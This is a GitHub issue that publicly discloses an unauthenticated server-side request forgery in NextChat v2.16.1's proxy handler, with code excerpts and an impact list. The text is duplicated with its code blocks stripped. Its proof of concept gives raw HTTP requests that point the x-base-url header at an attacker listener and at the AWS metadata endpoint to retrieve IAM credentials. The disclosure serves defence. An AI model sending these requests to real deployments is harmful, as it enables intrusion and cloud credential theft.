📦 Deployment Method
Docker
📌 Version
v2.16.1
💻 Operating System
Other Linux
📌 System Version
🌐 Browser
Other
📌 Browser Version
🐛 Bug Description
reported on 2 June 2026 https://github.com/ChatGPTNextWeb/NextChat/security/advisories/GHSA-2wvx-vcmx-h8fr - no response.
Summary
NextChat's proxy fallback handler in app/api/proxy.ts performs server-side HTTP requests to any URL supplied by the caller via the x-base-url request header, with no authentication check and no URL allowlist. Any unauthenticated attacker can use this to probe or interact with internal network services, cloud metadata endpoints, and adjacent hosts behind the server's network boundary.
Details
The Next.js catch-all route app/api/[provider]/[...path]/route.ts dispatches requests to named provider handlers (OpenAI, Anthropic, Google, etc.) by matching the provider path segment against known ApiPath values. Any provider name that does not match a known value falls through to the default case:
// app/api/[provider]/[...path]/route.ts lines 58-59
default:
return proxyHandler(req, { params });
proxyHandler is imported from app/api/proxy.ts. That handler reads the x-base-url header from the incoming request and uses it directly as the upstream URL target:
// app/api/proxy.ts lines 20-22
const subpath = params.path.join("/");
const fetchUrl = `${req.headers.get(
"x-base-url",
)}/${subpath}?${req.nextUrl.searchParams.toString()}`;
There is no call to auth() anywhere in proxy.ts. The adjacent OpenAI, Anthropic, and Google handlers all call auth(req, ModelProvider.*) before forwarding; the proxy fallback does not. As a result, any HTTP request to /api/<unknown-provider>/<any-path> triggers a server-side fetch to x-base-url/<any-path> without requiring an access code or API key.
The Access-Control-Allow-Origin: * and Access-Control-Allow-Headers: * headers set in next.config.mjs mean this endpoint is reachable cross-origin from any web page, enabling drive-by exploitation from a victim's browser.
PoC
Prerequisites: a running NextChat instance (Docker image yidadaa/chatgpt-next-web:latest v2.16.1). The CODE environment variable may be set; it does not affect the proxy route.
Start an HTTP listener on a host reachable from the NextChat server:
python3 -m http.server 8080
Send an unauthenticated request to a non-existent provider:
GET /api/anyprovider/anypath HTTP/1.1
Host: <nextchat-host>:3000
x-base-url: http://<internal-listener>:8080
The listener receives the connection from the NextChat server:
172.18.0.3 - - "GET /anypath HTTP/1.1" 404 -
The response to the caller contains the listener's HTTP server header (server: SimpleHTTP/0.6 Python/3.11.15), confirming the request was made server-side.
To reach the AWS instance metadata service:
GET /api/anyprov/latest/meta-data/iam/security-credentials/ HTTP/1.1
Host: <nextchat-host>:3000
x-base-url: http://169.254.169.254
Impact
An unauthenticated attacker can:
- Enumerate and interact with internal services on the NextChat server's network (databases, Redis, internal APIs, container sidecars)
- Retrieve cloud-provider instance metadata (AWS, GCP, Azure), including temporary IAM credentials
- Exfiltrate data from internal HTTP services by relaying the response body back to the caller
- Bypass access-code controls entirely, as the proxy handler checks no credentials
This affects all self-hosted NextChat deployments regardless of whether a CODE environment variable is configured.
📷 Recurrence Steps
No response
🚦 Expected Behavior
No response
📝 Additional Information
No response
📦 Deployment Method
Docker
📌 Version
v2.16.1
💻 Operating System
Other Linux
📌 System Version
🌐 Browser
Other
📌 Browser Version
🐛 Bug Description
reported on 2 June 2026 https://github.com/ChatGPTNextWeb/NextChat/security/advisories/GHSA-2wvx-vcmx-h8fr - no response.
Summary
NextChat's proxy fallback handler in
app/api/proxy.tsperforms server-side HTTP requests to any URL supplied by the caller via thex-base-urlrequest header, with no authentication check and no URL allowlist. Any unauthenticated attacker can use this to probe or interact with internal network services, cloud metadata endpoints, and adjacent hosts behind the server's network boundary.Details
The Next.js catch-all route
app/api/[provider]/[...path]/route.tsdispatches requests to named provider handlers (OpenAI, Anthropic, Google, etc.) by matching theproviderpath segment against knownApiPathvalues. Any provider name that does not match a known value falls through to the default case:proxyHandleris imported fromapp/api/proxy.ts. That handler reads thex-base-urlheader from the incoming request and uses it directly as the upstream URL target:There is no call to
auth()anywhere inproxy.ts. The adjacent OpenAI, Anthropic, and Google handlers all callauth(req, ModelProvider.*)before forwarding; the proxy fallback does not. As a result, any HTTP request to/api/<unknown-provider>/<any-path>triggers a server-side fetch tox-base-url/<any-path>without requiring an access code or API key.The
Access-Control-Allow-Origin: *andAccess-Control-Allow-Headers: *headers set innext.config.mjsmean this endpoint is reachable cross-origin from any web page, enabling drive-by exploitation from a victim's browser.PoC
Prerequisites: a running NextChat instance (Docker image
yidadaa/chatgpt-next-web:latestv2.16.1). TheCODEenvironment variable may be set; it does not affect the proxy route.Start an HTTP listener on a host reachable from the NextChat server:
Send an unauthenticated request to a non-existent provider:
The listener receives the connection from the NextChat server:
The response to the caller contains the listener's HTTP server header (
server: SimpleHTTP/0.6 Python/3.11.15), confirming the request was made server-side.To reach the AWS instance metadata service:
Impact
An unauthenticated attacker can:
This affects all self-hosted NextChat deployments regardless of whether a
CODEenvironment variable is configured.📷 Recurrence Steps
No response
🚦 Expected Behavior
No response
📝 Additional Information
No response